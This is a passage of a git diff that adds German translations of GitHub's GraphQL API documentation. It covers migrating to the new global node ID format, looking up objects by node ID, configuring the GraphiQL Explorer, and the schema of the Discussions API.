+
+Die {% data variables.product.product_name %} GraphQL-API unterstützt derzeit zwei Typen globaler Knoten-ID-Formate. Das Legacy-Format ist veraltet und wird durch ein neues Format ersetzt.  In diesem Leitfaden wird gezeigt, wie du bei Bedarf zum neuen Format migrierst. 
+
+Durch die Migration zum neuen Format stellst du sicher, dass die Reaktionszeiten deiner Anforderungen konsistent und kurz bleiben. Du stellst außerdem sicher, dass deine Anwendung weiterhin funktioniert, sobald die Legacy-IDs vollständig veraltet sind.
+
+Weitere Informationen dazu, warum das ältere globale Knoten-ID-Format veraltet ist, findest du unter [Neues globales ID-Format, das zu GraphQL kommt](https://github.blog/2021-02-10-new-global-id-format-coming-to-graphql).
+
+## Ermitteln, ob du Maßnahmen ergreifen musst
+
+Du musst nur die Migrationsschritte ausführen, wenn du Verweise auf globale GraphQL-Knoten-IDs speicherst.  Diese IDs entsprechen dem `id`-Feld für jedes Objekt im Schema.  Wenn du keine globalen Knoten-IDs speicherst, kannst du weiterhin mit der API ohne Änderung interagieren.
+
+Wenn du die Legacy-IDs derzeit decodierst, um Typ-Informationen zu extrahieren (zum Beispiel, wenn du die ersten beiden Zeichen von `PR_kwDOAHz1OX4uYAah` verwendest, um festzustellen, ob es sich bei dem Objekt um eine Pull Request handelt), wird ihr Dienst abgebrochen, da sich das Format der IDs geändert hat.  Du solltest deinen Dienst migrieren, um diese IDs als undurchsichtige Zeichenfolgen zu behandeln.  Diese IDs sind eindeutig, daher kannst du dich direkt als Verweise darauf verlassen.
+
+
+## Migrieren zu den neuen globalen IDs
+
+Um die Migration zum neuen ID-Format zu erleichtern, kannst du den `X-Github-Next-Global-ID`-Header in deinen GraphQL-API-Anforderungen verwenden. Der Wert des `X-Github-Next-Global-ID`-Headers muss `1` oder `0` sein.  Wenn du den Wert festlegst, um `1` die Antwortnutzlast zu erzwingen, wird immer das neue ID-Format für jedes Objekt verwendet, für das du das `id`-Feld angefordert hast.  Wenn du den Wert `0` festlegst, der auf das Standardverhalten zurückgesetzt wird, wird die Legacy-ID oder neue ID abhängig vom Erstellungsdatum des Objekts angezeigt. 
+
+Hier folgt eine Beispielanforderung unter Verwendung von cURL:
+
+```
+$ curl \
+  -H "Authorization: Bearer $GITHUB_TOKEN" \
+  -H "X-Github-Next-Global-ID: 1" \
+  https://api.github.com/graphql \
+  -d '{ "query": "{ node(id: \"MDQ6VXNlcjM0MDczMDM=\") { id } }" }'
+```
+
+Obwohl die Legacy-ID `MDQ6VXNlcjM0MDczMDM=` in der Abfrage verwendet wurde, enthält die Antwort das neue ID-Format:
+```
+{"data":{"node":{"id":"U_kgDOADP9xw"}}}
+```
+Mit dem `X-Github-Next-Global-ID`-Header findest du das neue ID-Format für Legacy-IDs, auf die du in deiner Anwendung verweist. Anschließend kannst du diese Verweise mit der in der Antwort empfangenen ID aktualisieren. Du solltest alle Verweise auf ältere IDs aktualisieren und das neue ID-Format für alle nachfolgenden Anforderungen an die API verwenden. Zum Ausführen von Massenvorgängen kannst du Aliase verwenden, um mehrere Knotenabfragen in einem API-Aufruf zu übermitteln. Weitere Informationen findest du in [den GraphQL-API-Dokumenten](https://graphql.org/learn/queries/#aliases).
+
+Du kannst auch die neue ID für eine Sammlung von Elementen abrufen. Wenn du beispielsweise die neue ID für die letzten 10 Repositorys in deiner Organisation abrufen möchtest, kannst du eine Abfrage wie folgt verwenden:
+```
+{
+  organization(login: "github") {
+    repositories(last: 10) {
+      edges {
+        cursor
+        node {
+          name
+          id
+        }
+      }
+    }
+  }
+}
+```
+
+Beachte, dass sich die Einstellung `X-Github-Next-Global-ID` zu `1` auf den Rückgabewert jedes `id`-Felds in deiner Abfrage auswirkt.  Dies bedeutet, dass du auch dann, wenn du eine Nicht-`node`-Abfrage übermittelst, die neue Format-ID zurückerhältst, wenn du das `id`-Feld angefordert hast.
+
+## Feedback teilen
+
+Wenn du Bedenken beim Rollout dieser Änderung hast, die sich auf deine App auswirken, wende dich bitte an [{% data variables.product.product_name %}](https://support.github.com/contact) und füge Informationen wie deinen App-Namen hinzu, damit wir dich besser unterstützen können.
diff --git a/translations/de-DE/content/graphql/guides/using-global-node-ids.md b/translations/de-DE/content/graphql/guides/using-global-node-ids.md
new file mode 100644
index 0000000000..409bf027b9
--- /dev/null
+++ b/translations/de-DE/content/graphql/guides/using-global-node-ids.md
@@ -0,0 +1,133 @@
+---
+title: Verwenden globaler Knoten-IDs
+intro: Du kannst globale Knoten-IDs von Objekten über die REST-API abrufen und sie in GraphQL-Vorgängen verwenden.
+redirect_from:
+  - /v4/guides/using-global-node-ids
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - API
+ms.openlocfilehash: c4e6dba85ea94fe3337828f795bb7325162b6452
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146381472'
+---
+Du kannst auf die meisten Objekte in GitHub (Benutzer*innen, Issues, Pull Requests usw.) entweder über die REST-API oder die GraphQL-API zugreifen. Du kannst die **globale Knoten-ID** vieler Objekte in der REST-API finden und diese IDs in deinen GraphQL-Vorgängen verwenden. Weitere Informationen findest du unter [Vorschau der GraphQL-API-Knoten-IDs in REST-API-Ressourcen](https://developer.github.com/changes/2017-12-19-graphql-node-id/).
+
+{% note %}
+
+**Hinweis:** In REST heißt das Feld für die globale Knoten-ID `node_id`. In GraphQL ist es ein `id`-Feld der `node`-Schnittstelle. Informationen zur Bedeutung des Begriffs „Knoten“ in GraphQL findest du unter [Einführung in GraphQL](/graphql/guides/introduction-to-graphql#node).
+
+{% endnote %}
+
+## Verwenden globaler Knoten-IDs
+
+Du kannst globale Knoten-IDs in drei Schritten verwenden:
+
+1. Aufrufen eines REST-Endpunkts, der die `node_id` des Objekts zurückgibt
+2. Suchen des Objekttyps in GraphQL
+3. Verwenden der ID und des Typs für eine direkte Knotensuche in GraphQL
+
+Sieh dir folgendes Beispiel an.
+
+## 1. Aufrufen eines REST-Endpunkts, der die Knoten-ID des Objekts zurückgibt
+
+Wenn du den [authentifizierten Benutzer anforderst](/rest/reference/users#get-the-authenticated-user):
+
+```shell
+$ curl -i -u <em>username:token</em> {% data variables.product.api_url_pre %}/user
+```
+
+Erhältst du eine Antwort, die die `node_id` des authentifizierten Benutzers enthält:
+
+```json
+{
+  "login": "octocat",
+  "id": 1,
+  "avatar_url": "https://github.com/images/error/octocat_happy.gif",
+  "gravatar_id": "",
+  "url": "https://api.github.com/users/octocat",
+  "html_url": "https://github.com/octocat",
+  "followers_url": "https://api.github.com/users/octocat/followers",
+  "following_url": "https://api.github.com/users/octocat/following{/other_user}",
+  "gists_url": "https://api.github.com/users/octocat/gists{/gist_id}",
+  "starred_url": "https://api.github.com/users/octocat/starred{/owner}{/repo}",
+  "subscriptions_url": "https://api.github.com/users/octocat/subscriptions",
+  "organizations_url": "https://api.github.com/users/octocat/orgs",
+  "repos_url": "https://api.github.com/users/octocat/repos",
+  "events_url": "https://api.github.com/users/octocat/events{/privacy}",
+  "received_events_url": "https://api.github.com/users/octocat/received_events",
+  "type": "User",
+  "site_admin": false,
+  "name": "monalisa octocat",
+  "company": "GitHub",
+  "blog": "https://github.com/blog",
+  "location": "San Francisco",
+  "email": "octocat@github.com",
+  "hireable": false,
+  "bio": "There once was...",
+  "public_repos": 2,
+  "public_gists": 1,
+  "followers": 20,
+  "following": 0,
+  "created_at": "2008-01-14T04:33:35Z",
+  "updated_at": "2008-01-14T04:33:35Z",
+  "private_gists": 81,
+  "total_private_repos": 100,
+  "owned_private_repos": 100,
+  "disk_usage": 10000,
+  "collaborators": 8,
+  "two_factor_authentication": true,
+  "plan": {
+    "name": "Medium",
+    "space": 400,
+    "private_repos": 20,
+    "collaborators": 0
+  },
+  "node_id": "MDQ6VXNlcjU4MzIzMQ=="
+}
+```
+
+## 2. Suchen des Objekttyps in GraphQL
+
+In diesem Beispiel hat `node_id` den Wert `MDQ6VXNlcjU4MzIzMQ==`. Du kannst diesen Wert verwenden, um dasselbe Objekt in GraphQL abzufragen.
+
+Du musst jedoch dazu den _Typ_ des Objekts kennen. Du kannst den Typ mit einer einfachen GraphQL-Abfrage überprüfen:
+
+```graphql
+query {
+  node(id:"MDQ6VXNlcjU4MzIzMQ==") {
+     __typename
+  }
+}
+```
+
+Dieser Abfragetyp zum Suchen von Knoten nach der ID wird als „direkte Knotensuche“ bezeichnet.
+
+Wenn du diese Abfrage ausführst, kannst du sehen dass `__typename` den Wert [`User`](/graphql/reference/objects#user) hat.
+
+## 3. Ausführen einer direkten Knotensuche in GraphQL
+
+Nachdem du den Typ bestätigt hast, kannst du ein [Inlinefragment](https://graphql.github.io/learn/queries/#inline-fragments) verwenden, um auf das Objekt über seine ID zuzugreifen und zusätzliche Daten zurückzugeben. In diesem Beispiel definierst du die Felder, die du abfragen möchtest, mit `User`:
+
+```graphql
+query {
+  node(id:"MDQ6VXNlcjU4MzIzMQ==") {
+   ... on User {
+      name
+      login
+    }
+  }
+}
+```
+
+Dieser Abfragetyp ist der Standardansatz für das Suchen eines Objekts anhand seiner globalen Knoten-ID.
+
+## Verwenden globaler Knoten-IDs in Migrationsvorgängen
+
+Beim Erstellen von Integrationen, die entweder die REST-API oder die GraphQL-API verwenden, empfiehlt es sich, die globale Knoten-ID beizubehalten, sodass du problemlos auf Objekte in API-Versionen verweisen kannst. Weitere Informationen zum Behandeln des Übergangs zwischen REST und GraphQL findest du unter [Migrieren von REST zu GraphQL](/graphql/guides/migrating-from-rest-to-graphql).
diff --git a/translations/de-DE/content/graphql/guides/using-the-explorer.md b/translations/de-DE/content/graphql/guides/using-the-explorer.md
new file mode 100644
index 0000000000..72678a05ff
--- /dev/null
+++ b/translations/de-DE/content/graphql/guides/using-the-explorer.md
@@ -0,0 +1,155 @@
+---
+title: Verwenden des Explorers
+intro: 'Du kannst Abfragen für echte {% data variables.product.prodname_dotcom %}-Daten mithilfe des GraphQL-Explorers ausführen, einer integrierten Entwicklungsumgebung in deinem Browser, die Dokumente, Syntaxhervorhebung und Überprüfungsfehler unterstützt.'
+redirect_from:
+  - /v4/guides/using-the-explorer
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - API
+ms.openlocfilehash: 19c534dd0cdcacdfd0d96bb93d055ff3fca8690b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146749489'
+---
+## Informationen zum GraphQL-Explorer
+
+{% ifversion fpt or ghec %}
+
+Der [GraphQL-Explorer](/graphql/overview/explorer) ist eine [GraphiQL](https://github.com/graphql/graphiql)-Instanz, bei der es sich um eine „grafische interaktive browserinterne GraphQL-IDE“ handelt.
+
+{% else %}
+
+[GraphiQL](https://github.com/graphql/graphiql) (in dieser Dokumentation auch als GraphQL-Explorer bezeichnet) ist eine „grafische interaktive browserinterne GraphQL-IDE“.
+
+{% endif %}
+
+## Verwenden von GraphiQL
+
+Um die GraphiQL-App zu verwenden, muss sie auf https://github.com/skevy/graphiql-app heruntergeladen und installiert werden.
+
+### Konfigurieren von GraphiQL
+
+1. Rufe ein [OAuth-Token](/graphql/guides/forming-calls-with-graphql#authenticating-with-graphql) ab.
+1. Starte GraphiQL.
+1. Klicke in der oberen rechten Ecke von GraphiQL auf **Edit HTTP Headers** (HTTP-Header bearbeiten).
+1. Geben Sie im Feld **Schlüssel**`Authorization` ein. Geben Sie im Feld **Value** (Wert) `Bearer <token>` ein, wobei `<token>` das von Ihnen generierte OAuth-Token ist.
+![graphiql-Header](/assets/images/developer/graphiql-headers.png)
+1. Aktiviere das Kontrollkästchen rechts neben dem Token, um es zu speichern.
+1. Klicke auf eine Stelle außerhalb des modalen Fensters **HTTP-Header bearbeiten**, um zum Editor zurückzukehren.
+1. Geben Sie im Feld **GraphQL Endpoint** (GraphQL-Endpunkt) `{% data variables.product.graphql_url_pre %}` ein.
+1. Wähle im Dropdownmenü **Methode** die Option **POST** aus.
+
+{% note %}
+
+**Hinweis**: Weitere Informationen dazu, weshalb die Methode `POST` verwendet wird, findest du unter [Kommunizieren mit GraphQL](/graphql/guides/forming-calls-with-graphql#communicating-with-graphql).
+
+{% endnote %}
+
+Zum Testen des Zugriffs kannst du dich selbst abfragen:
+
+```graphql
+query {
+  viewer {
+    login
+  }
+}
+```
+
+Wenn alles richtig funktioniert hat, wird deine Anmeldung angezeigt. Du kannst nun Abfragen ausführen.
+
+## Zugreifen auf die Randleistendokumentation
+
+Alle Typen in einem GraphQL-Schema umfassen ein `description`-Feld, das in der Dokumentation kompiliert ist. Über den reduzierbaren Bereich **Dokumentation** rechts auf der Explorer-Seite kannst du die Dokumentation zum Typensystem durchsuchen. Die Dokumentation wird automatisch aktualisiert, und veraltete Felder werden entfernt.
+
+{% note %}
+
+Die Inhalte, auf die über die Randleiste **Dokumentation** zugegriffen werden kann, sind mit den Inhalten identisch, die automatisch anhand des Schemas unter [Referenz](/graphql) generiert werden. Der einzige Unterschied ist eine abweichende Formatierung.
+
+{% endnote %}
+
+## Verwenden des Variablenbereichs
+
+Einige Beispielaufrufe umfassen [Variablen](/graphql/guides/forming-calls-with-graphql#working-with-variables), die wie folgt aussehen:
+
+```graphql
+query($number_of_repos:Int!){
+  viewer {
+    name
+     repositories(last: $number_of_repos) {
+       nodes {
+         name
+       }
+     }
+   }
+}
+variables {
+   "number_of_repos": 3
+}
+```
+
+Dies ist das richtige Format, um den Aufruf per cURL `POST` zu übermitteln (solange [Zeilenvorschubzeichen in Escape-Zeichen gesetzt werden](/graphql/guides/forming-calls-with-graphql#communicating-with-graphql)).
+
+Wenn der Aufruf im Explorer erfolgen soll, gib das `query`-Segment im Hauptbereich und die Variablen im Bereich **Abfragevariablen** darunter ein. Lasse das Wort `variables` im Explorer aus:
+
+```graphql
+{
+   "number_of_repos": 3
+}
+```
+
+## Anfordern von Unterstützung
+
+{% data reusables.support.help_resources %}
+
+## Problembehandlung
+
+Da GraphQL [introspektiv](/graphql/guides/introduction-to-graphql#discovering-the-graphql-api) ist, unterstützt der Explorer Folgendes:
+
+* Intelligente Vorschlagssuche, bei der das aktuelle Schema berücksichtigt wird
+* Vorschau von Validierungsfehlern während der Eingabe
+
+Bei der Eingabe einer Abfrage, die nicht wohlgeformt ist oder die die [Schemaüberprüfung](/graphql/guides/introduction-to-graphql#schema) nicht besteht, wirst du in einer Popupwarnung über diesen Fehler informiert. Wenn du die Abfrage ausführst, wird der Fehler im Antwortbereich zurückgegeben.
+
+Eine GraphQL-Antwort enthält mehrere Schlüssel: einen `data`-Hash und ein `errors`-Array.
+
+```json
+{
+  "data": null,
+  "errors": [
+    {
+      "message": "Objects must have selections (field 'nodes' returns Repository but has no selections)",
+      "locations": [
+        {
+          "line": 5,
+          "column": 8
+        }
+      ]
+    }
+  ]
+}
+```
+
+Möglicherweise tritt ein unerwarteter Fehler auf, der nicht im Zusammenhang mit dem Schema steht. In diesem Fall enthält die Meldung einen Referenzcode, den du beim Melden des Problems verwenden kannst:
+
+```json
+{
+  "data": null,
+  "errors": [
+    {
+      "message": "Something went wrong while executing your query. This is most likely a GitHub bug. Please include \"7571:3FF6:552G94B:69F45B7:5913BBEQ\" when reporting this issue."
+    }
+  ]
+}
+```
+
+{% note %}
+
+**Hinweis:** {% data variables.product.prodname_dotcom %} empfiehlt eine Überprüfung auf Fehler, bevor Daten in einer Produktionsumgebung verwendet werden. Bei GraphQL betreffen Fehler nicht zwangsläufig sämtliche Abfragen: einige GraphQL-Abfragen können erfolgreich sein, während bei anderen Fehler auftreten.
+
+{% endnote %}
diff --git a/translations/de-DE/content/graphql/guides/using-the-graphql-api-for-discussions.md b/translations/de-DE/content/graphql/guides/using-the-graphql-api-for-discussions.md
new file mode 100644
index 0000000000..3ee8986a90
--- /dev/null
+++ b/translations/de-DE/content/graphql/guides/using-the-graphql-api-for-discussions.md
@@ -0,0 +1,1088 @@
+---
+title: Verwenden der GraphQL-API für Diskussionen
+intro: 'Erfahre, wie du die {% data variables.product.prodname_discussions %} GraphQL-API verwendest.'
+versions:
+  feature: discussions
+shortTitle: Use GraphQL for Discussions
+ms.openlocfilehash: 1512082737df4c92942a40007d2c75897edb1061
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147408843'
+---
+Die {% data variables.product.prodname_discussions %} GraphQL API ermöglicht es dir, Diskussionsbeiträge zu erhalten, zu erstellen, zu bearbeiten und zu löschen. Weitere Informationen zu {% data variables.product.prodname_discussions %} findest du unter [Informationen zu Diskussionen](/discussions/collaborating-with-your-community-using-discussions/about-discussions)."
+
+Diese API ist für authentifizierte Benutzer, OAuth Apps und GitHub Apps verfügbar. Zugriffstoken erfordern den `repo` Bereich für private Repositorys und den `public_repo` Bereich für öffentliche Repositorys. Weitere Informationen findest du unter "[Bereiche für OAuth-Apps](/developers/apps/scopes-for-oauth-apps)."
+
+## Felder
+
+### Repository.discussions
+
+Liste die Diskussionen innerhalb eines Repositorys auf. Wenn `categoryId` angegeben ist, werden nur Ergebnisse innerhalb dieser Kategorie zurückgegeben.
+
+_Unterschrift:_
+
+```graphql
+discussions(
+  after: String,
+  before: String,
+  first: Int,
+  last: Int,
+  categoryId: ID = null,
+  orderBy: DiscussionOrder = {field: UPDATED_AT, direction: DESC}
+) : Discussion
+```
+
+#### DiscussionOrder
+
+```graphql
+"""
+Ways in which discussions can be ordered.
+"""
+input DiscussionOrder {
+  """
+  The field by which to order discussions.
+  """
+  field: DiscussionOrderField!
+
+  """
+  The direction in which to order discussions by the specified field.
+  """
+  direction: OrderDirection!
+}
+```
+
+```graphql
+"""
+Properties by which discussion connections can be ordered.
+"""
+enum DiscussionOrderField {
+  """
+  Order discussions by creation time.
+  """
+  CREATED_AT
+
+  """
+  Order discussions by most recent modification time.
+  """
+  UPDATED_AT
+}
+```
+
+### Repository.discussionCategories
+
+Gib die verfügbaren Diskussionskategorien zurück, die in diesem Repository definiert sind. Jedes Repository kann bis zu 10 Kategorien aufweisen. Weitere Informationen zu Diskussionskategorien findest du unter "[Informationen zu Diskussionen](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions)."
+
+_Unterschrift:_
+
+```graphql
+discussionCategories(
+  after: String,
+  before: String,
+  first: Int,
+  last: Int,
+) : DiscussionCategoryConnection!
+```
+
+### Repository.discussion
+
+Abrufen einer Diskussion. Gibt `null` zurück, wenn die Diskussion mit der angegebenen ID nicht vorhanden ist.
+
+_Unterschrift:_
+
+```graphql
+discussion(number: Int!) : Discussion
+```
+
+### Repository.pinnedDiscussions
+
+Zurückgeben von Diskussionen, die an dieses Repository angeheftet wurden, sortiert nach Pinposition.
+
+_Unterschrift:_
+
+```graphql
+pinnedDiscussions(
+  after: String,
+  before: String,
+  first: Int,
+  last: Int,
+) : PinnedDiscussionConnection!
+```
+
+## Objekte
+
+**Hinweis:** Verbindungstypen werden hier nicht erweitert. Jeder im Schema erwähnte Verbindungstyp folgt demselben Muster wie andere Verbindungen in der GraphQL-API. Weitere Informationen findest du unter [Einführung in GraphQL](/graphql/guides/introduction-to-graphql#connection).
+
+```graphql
+query {
+  repository(owner: "github", name: "some-repo") {
+    discussions(first: 10) {
+      # type: DiscussionConnection
+      totalCount # Int!
+
+      pageInfo {
+        # type: PageInfo (from the public schema)
+        startCursor
+        endCursor
+        hasNextPage
+        hasPreviousPage
+      }
+
+      edges {
+        # type: DiscussionEdge
+        cursor
+        node {
+          # type: Discussion
+          id
+        }
+      }
+
+      nodes {
+        # type: Discussion
+        id
+      }
+    }
+  }
+}
+```
+
+### Diskussion
+
+<details>
+<summary>Felder:</summary>
+
+```graphql
+"""
+A discussion in a repository.
+"""
+type Discussion implements Comment & Deletable & Lockable & Node & Reactable & RepositoryNode & Subscribable & Updatable {
+  """
+  Reason that the conversation was locked.
+  """
+  activeLockReason: LockReason
+
+  """
+  The comment chosen as this discussion's answer, if any.
+  """
+  answer: DiscussionComment
+
+  """
+  The time when a user chose this discussion's answer, if answered.
+  """
+  answerChosenAt: DateTime
+
+  """
+  The user who chose this discussion's answer, if answered.
+  """
+  answerChosenBy: Actor
+
+  """
+  The actor who authored the comment.
+  """
+  author: Actor
+
+  """
+  Author's association with the subject of the comment.
+  """
+  authorAssociation: CommentAuthorAssociation!
+
+  """
+  The main text of the discussion post.
+  """
+  body: String!
+
+  """
+  The body rendered to HTML.
+  """
+  bodyHTML: HTML!
+
+  """
+  The body rendered to text.
+  """
+  bodyText: String!
+
+  """
+  The category for this discussion.
+  """
+  category: DiscussionCategory!
+
+  """
+  The replies to the discussion.
+  """
+  comments(
+    """
+    Returns the elements in the list that come after the specified cursor.
+    """
+    after: String
+
+    """
+    Returns the elements in the list that come before the specified cursor.
+    """
+    before: String
+
+    """
+    Returns the first _n_ elements from the list.
+    """
+    first: Int
+
+    """
+    Returns the last _n_ elements from the list.
+    """
+    last: Int
+  ): DiscussionCommentConnection!
+
+  """
+  Identifies the date and time when the object was created.
+  """
+  createdAt: DateTime!
+
+  """
+  Check if this comment was created via an email reply.
+  """
+  createdViaEmail: Boolean!
+
+  """
+  Identifies the primary key from the database.
+  """
+  databaseId: Int
+
+  """
+  The actor who edited the comment.
+  """
+  editor: Actor
+  id: ID!
+
+  """
+  Check if this comment was edited and includes an edit with the creation data
+  """
+  includesCreatedEdit: Boolean!
+
+  """
+  The moment the editor made the last edit
+  """
+  lastEditedAt: DateTime
+
+  """
+  `true` if the object is locked
+  """
+  locked: Boolean!
+
+  """
+  The number identifying this discussion within the repository.
+  """
+  number: Int!
+
+  """
+  Identifies when the comment was published at.
+  """
+  publishedAt: DateTime
+
+  """
+  A list of reactions grouped by content left on the subject.
+  """
+  reactionGroups: [ReactionGroup!]
+
+  """
+  A list of Reactions left on the Issue.
+  """
+  reactions(
+    """
+    Returns the elements in the list that come after the specified cursor.
+    """
+    after: String
+
+    """
+    Returns the elements in the list that come before the specified cursor.
+    """
+    before: String
+
+    """
+    Allows filtering Reactions by emoji.
+    """
+    content: ReactionContent
+
+    """
+    Returns the first _n_ elements from the list.
+    """
+    first: Int
+
+    """
+    Returns the last _n_ elements from the list.
+    """
+    last: Int
+
+    """
+    Allows specifying the order in which reactions are returned.
+    """
+    orderBy: ReactionOrder
+  ): ReactionConnection!
+
+  """
+  The repository associated with this node.
+  """
+  repository: Repository!
+
+  """
+  The path for this discussion.
+  """
+  resourcePath: URI!
+
+  """
+  The title of this discussion.
+  """
+  title: String!
+
+  """
+  Identifies the date and time when the object was last updated.
+  """
+  updatedAt: DateTime!
+
+  """
+  The URL for this discussion.
+  """
+  url: URI!
+
+  """
+  A list of edits to this content.
+  """
+  userContentEdits(
+    """
+    Returns the elements in the list that come after the specified cursor.
+    """
+    after: String
+
+    """
+    Returns the elements in the list that come before the specified cursor.
+    """
+    before: String
+
+    """
+    Returns the first _n_ elements from the list.
+    """
+    first: Int
+
+    """
+    Returns the last _n_ elements from the list.
+    """
+    last: Int
+  ): UserContentEditConnection
+
+  """
+  Check if the current viewer can delete this object.
+  """
+  viewerCanDelete: Boolean!
+
+  """
+  Can user react to this subject
+  """
+  viewerCanReact: Boolean!
+
+  """
+  Check if the viewer is able to change their subscription status for the repository.
+  """
+  viewerCanSubscribe: Boolean!
+
+  """
+  Check if the current viewer can update this object.
+  """
+  viewerCanUpdate: Boolean!
+
+  """
+  Did the viewer author this comment.
+  """
+  viewerDidAuthor: Boolean!
+
+  """
+  Identifies if the viewer is watching, not watching, or ignoring the subscribable entity.
+  """
+  viewerSubscription: SubscriptionState
+}
+```
+
+</details>
+
+### DiscussionComment
+
+<details>
+<summary>Felder</summary>
+
+```graphql
+"""
+A comment on a discussion.
+"""
+type DiscussionComment implements Comment & Deletable & Minimizable & Node & Reactable & Updatable & UpdatableComment {
+  """
+  The actor who authored the comment.
+  """
+  author: Actor
+
+  """
+  Author's association with the subject of the comment.
+  """
+  authorAssociation: CommentAuthorAssociation!
+
+  """
+  The body as Markdown.
+  """
+  body: String!
+
+  """
+  The body rendered to HTML.
+  """
+  bodyHTML: HTML!
+
+  """
+  The body rendered to text.
+  """
+  bodyText: String!
+
+  """
+  Identifies the date and time when the object was created.
+  """
+  createdAt: DateTime!
+
+  """
+  Check if this comment was created via an email reply.
+  """
+  createdViaEmail: Boolean!
+
+  """
+  Identifies the primary key from the database.
+  """
+  databaseId: Int
+
+  """
+  The time when this replied-to comment was deleted
+  """
+  deletedAt: DateTime
+
+  """
+  The discussion this comment was created in
+  """
+  discussion: Discussion
+
+  """
+  The actor who edited the comment.
+  """
+  editor: Actor
+  id: ID!
+
+  """
+  Check if this comment was edited and includes an edit with the creation data
+  """
+  includesCreatedEdit: Boolean!
+
+  """
+  Has this comment been chosen as the answer of its discussion?
+  """
+  isAnswer: Boolean!
+
+  """
+  Returns whether or not a comment has been minimized.
+  """
+  isMinimized: Boolean!
+
+  """
+  The moment the editor made the last edit
+  """
+  lastEditedAt: DateTime
+
+  """
+  Returns why the comment was minimized.
+  """
+  minimizedReason: String
+
+  """
+  Identifies when the comment was published at.
+  """
+  publishedAt: DateTime
+
+  """
+  A list of reactions grouped by content left on the subject.
+  """
+  reactionGroups: [ReactionGroup!]
+
+  """
+  A list of Reactions left on the Issue.
+  """
+  reactions(
+    """
+    Returns the elements in the list that come after the specified cursor.
+    """
+    after: String
+
+    """
+    Returns the elements in the list that come before the specified cursor.
+    """
+    before: String
+
+    """
+    Allows filtering Reactions by emoji.
+    """
+    content: ReactionContent
+
+    """
+    Returns the first _n_ elements from the list.
+    """
+    first: Int
+
+    """
+    Returns the last _n_ elements from the list.
+    """
+    last: Int
+
+    """
+    Allows specifying the order in which reactions are returned.
+    """
+    orderBy: ReactionOrder
+  ): ReactionConnection!
+
+  """
+  The threaded replies to this comment.
+  """
+  replies(
+    """
+    Returns the elements in the list that come after the specified cursor.
+    """
+    after: String
+
+    """
+    Returns the elements in the list that come before the specified cursor.
+    """
+    before: String
+
+    """
+    Returns the first _n_ elements from the list.
+    """
+    first: Int
+
+    """
+    Returns the last _n_ elements from the list.
+    """
+    last: Int
+  ): DiscussionCommentConnection!
+
+  """
+  The discussion comment this comment is a reply to
+  """
+  replyTo: DiscussionComment
+
+  """
+  The path for this discussion comment.
+  """
+  resourcePath: URI!
+
+  """
+  Identifies the date and time when the object was last updated.
+  """
+  updatedAt: DateTime!
+
+  """
+  The URL for this discussion comment.
+  """
+  url: URI!
+
+  """
+  A list of edits to this content.
+  """
+  userContentEdits(
+    """
+    Returns the elements in the list that come after the specified cursor.
+    """
+    after: String
+
+    """
+    Returns the elements in the list that come before the specified cursor.
+    """
+    before: String
+
+    """
+    Returns the first _n_ elements from the list.
+    """
+    first: Int
+
+    """
+    Returns the last _n_ elements from the list.
+    """
+    last: Int
+  ): UserContentEditConnection
+
+  """
+  Check if the current viewer can delete this object.
+  """
+  viewerCanDelete: Boolean!
+
+  """
+  Can the current user mark this comment as an answer?
+  """
+  viewerCanMarkAsAnswer: Boolean!
+
+  """
+  Check if the current viewer can minimize this object.
+  """
+  viewerCanMinimize: Boolean!
+
+  """
+  Can user react to this subject
+  """
+  viewerCanReact: Boolean!
+
+  """
+  Can the current user unmark this comment as an answer?
+  """
+  viewerCanUnmarkAsAnswer: Boolean!
+
+  """
+  Check if the current viewer can update this object.
+  """
+  viewerCanUpdate: Boolean!
+
+  """
+  Reasons why the current viewer can not update this comment.
+  """
+  viewerCannotUpdateReasons: [CommentCannotUpdateReason!]!
+
+  """
+  Did the viewer author this comment.
+  """
+  viewerDidAuthor: Boolean!
+}
+```
+
+</details>
+
+### DiscussionCategory
+
+<details>
+<summary>Felder</summary>
+
+```graphql
+"""
+A category for discussions in a repository.
+"""
+type DiscussionCategory implements Node & RepositoryNode {
+  """
+  Identifies the date and time when the object was created.
+  """
+  createdAt: DateTime!
+
+  """
+  A description of this category.
+  """
+  description: String
+
+  """
+  An emoji representing this category.
+  """
+  emoji: String!
+
+  """
+  This category's emoji rendered as HTML.
+  """
+  emojiHTML: HTML!
+  id: ID!
+
+  """
+  Whether or not discussions in this category support choosing an answer with the markDiscussionCommentAsAnswer mutation.
+  """
+  isAnswerable: Boolean!
+
+  """
+  The name of this category.
+  """
+  name: String!
+
+  """
+  The repository associated with this node.
+  """
+  repository: Repository!
+
+  """
+  Identifies the date and time when the object was last updated.
+  """
+  updatedAt: DateTime!
+}
+```
+
+</details>
+
+### PinnedDiscussion
+
+<details>
+<summary>Felder:</summary>
+
+```graphql
+"""
+A Pinned discussion is a discussion pinned to a repository's index page.
+"""
+type PinnedDiscussion implements Node & RepositoryNode {
+  """
+  Identifies the date and time when the object was created.
+  """
+  createdAt: DateTime!
+
+  """
+  Identifies the primary key from the database.
+  """
+  databaseId: Int
+
+  """
+  The discussion that was pinned.
+  """
+  discussion: Discussion!
+
+  """
+  Color stops of the chosen gradient
+  """
+  gradientStopColors: [String!]!
+  id: ID!
+
+  """
+  Background texture pattern
+  """
+  pattern: PinnedDiscussionPattern!
+
+  """
+  The actor that pinned this discussion.
+  """
+  pinnedBy: Actor!
+
+  """
+  Preconfigured background gradient option
+  """
+  preconfiguredGradient: PinnedDiscussionGradient
+
+  """
+  The repository associated with this node.
+  """
+  repository: Repository!
+
+  """
+  Identifies the date and time when the object was last updated.
+  """
+  updatedAt: DateTime!
+}
+```
+
+</details>
+
+#### PinnedDiscussionPattern
+
+<details>
+<summary>Werte</summary>
+
+```graphql
+"""
